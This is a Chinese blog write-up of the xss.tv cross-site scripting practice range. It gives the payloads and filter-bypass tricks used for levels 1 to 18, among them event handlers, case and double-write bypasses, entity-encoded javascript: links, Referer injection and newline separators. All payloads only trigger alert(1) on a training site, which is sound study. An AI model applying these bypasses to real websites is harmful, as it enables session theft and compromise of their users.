學習筆記五:xss.tv通關筆記

學習筆記五:xss.tv通關筆記

最近幾天一直在學xss,今天便順便刷了一下xss的在線靶機,這是Google的提供的一個xss練習網址
地址:http://test.xss.tv

注:以下所有的操作在chrome瀏覽器下會失效

level1

  • 這題比較簡單
    wyt
    可以看出只需要把<h2>標籤閉合即可
    因此payload爲:</h2><script>alert(/xss/)</script>

level2

wyt
這裏只需要閉合input內部的標籤即可
payload:"><script>alert(/xss/)</script>

這裏還在網上看到了另兩種解法
payload:
" onmouseover=alert(1)>需要鼠標劃過輸入框<br><br>
" onclick=alert(1)這樣需要點擊一下輸入框<br>
這裏介紹一個函數htmlspecialchars()
wyt
這個是通過閉合頁面的另一部分實現的。

level3

這關是將兩個引用的位置都進行了處理
wyt
payload:' onmouseover=alert(1)/
這裏需要說明一下/,input標籤中有一個/,而返回的代碼中沒有,固需要加上

level4

這一關多加了一個處理

$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);

wyt
這題和上題類似,只要不使用<>同時閉合前後即可.
payload:" onmouseover=alert(1) type="

level5

這道題過濾了<script和on,即使小寫也不能繞過。
wyt
payoad:
http://test.xss.tv/level5.php?keyword="> <a href="javascript:alert(1)">mcc</a
下面這個payload在edge和ie上是成功的,但是在firefox和chrome上不行
http://test.xss.tv/level5.php?keyword="> <iframe src="javascript:alert(1)">
看到這道題首先想到的是大小寫繞過。但失敗了,然後想到的是編碼繞過,但之後瞭解了一點瀏覽器解析的流程之後編碼饒過並不可行,最後發現可以通過javascript嵌套到html標籤內部可實現繞過。

level6

wyt
這題可以到小寫繞過
payload:http://test.xss.tv/level6.php?keyword="> <scrIPt>alert(1)</scrIPt>

level7

wyt
payload:http://test.xss.tv/level7.php?keyword="><scriscriptpt>alert(1)</scriscriptpt>
這道題後臺加了輸入字符小寫化,同時過濾script,on,src,data,href標籤,通過重寫實現繞過

level8

wyt
payload:
http://test.xss.tv/level8.php?keyword=%26%23x6A%3B%26%23x61%3B%26%23x76%3B%26%23x61%3B%26%23x73%3B%26%23x63%3B%26%23x72%3B%26%23x69%3B%26%23x70%3B%26%23x74%3B%3Aalert(1)%0A%0A%0A
再點擊友情鏈接即可

這個payload來源

keyword=javascript:alert(1)
keyword=&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(1)
keyword=%26%23x6A%3B%26%23x61%3B%26%23x76%3B%26%23x61%3B%26%23x73%3B%26%23x63%3B%26%23x72%3B%26%23x69%3B%26%23x70%3B%26%23x74%3B%3Aalert(1)%0A%0A%0A

這裏解釋一下,這道題通過編碼繞過,因爲javascript脫離了DOM樹,因此可對其進行javascript使用html編碼,這裏不能使用js編碼,也就是unicode編碼,因爲這裏的編碼解釋是由html完成的,並不是由js解釋的。

level9

wyt
payload:
http://test.xss.tv/level9.php?keyword=%26%23x6A%3B%26%23x61%3B%26%23x76%3B%26%23x61%3B%26%23x73%3B%26%23x63%3B%26%23x72%3B%26%23x69%3B%26%23x70%3B%26%23x74%3B%3Aalert(1)%0A%0A%0A//http://
這題和上一題差不多,只不過加了一個比較弱的url檢測,通過//註釋掉http://即可

level10

wyt
payload:http://test.xss.tv/level10.php?t_sort=" onmouseover="alert(1)" type="text
這道題需要兩個步驟

  • 插入on_xx代碼
  • 將隱藏的內容顯示出來,即type=“text”

level11

這題第一眼看覺得和上面類似,將text改爲text即可,可是改後發現依舊是hidden,因此轉向$str11=$_SERVER['HTTP_REFERER'];這條語句,用burpsuite抓包
wyt
wyt
可以看到以及成功繞過

level12

和上題類似
wyt
wyt
過關

level13

wyt
wyt
類似

level14

wyt
可以看出漏洞在圖片處
wyt
然後嘗試了一下各種payload,但都沒有成功。最後放棄

level15

wyt
這道題通過引入第一題中的注入過關,不過需要注意的是因爲經過htmlspecialchars函數處理,固不能出現<script>,只能將payload添加在屬性中
payload:http://test.xss.tv/level15.php?src='level1.php?name=<img src=1 onerror=alert(1)>'

level16

wyt
通過url編碼繞過
payload:
http://test.xss.tv/level16.php?keyword=<img%0dsrc=1%0donerror=alert(1)>
http://test.xss.tv/level16.php?keyword=<img%0asrc=1%0aonerror=alert(1)>
這裏用%0d和%0a都是可以的,但是%20和%09卻都不行,後臺代碼中對空格做了過濾,但是沒對換行符做過濾。

level17

wyt
payload:http://test.xss.tv/level17.php?arg01=" onmouseover&arg02=alert(1)
這道題很簡單,構造參數一個做標籤,一個做參數

level18

wyt
可以使用上一題的payload
payload:http://test.xss.tv/level18.php?arg01=" onmouseover&arg02=alert(1)

level19,20

這兩道題沒做出來。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章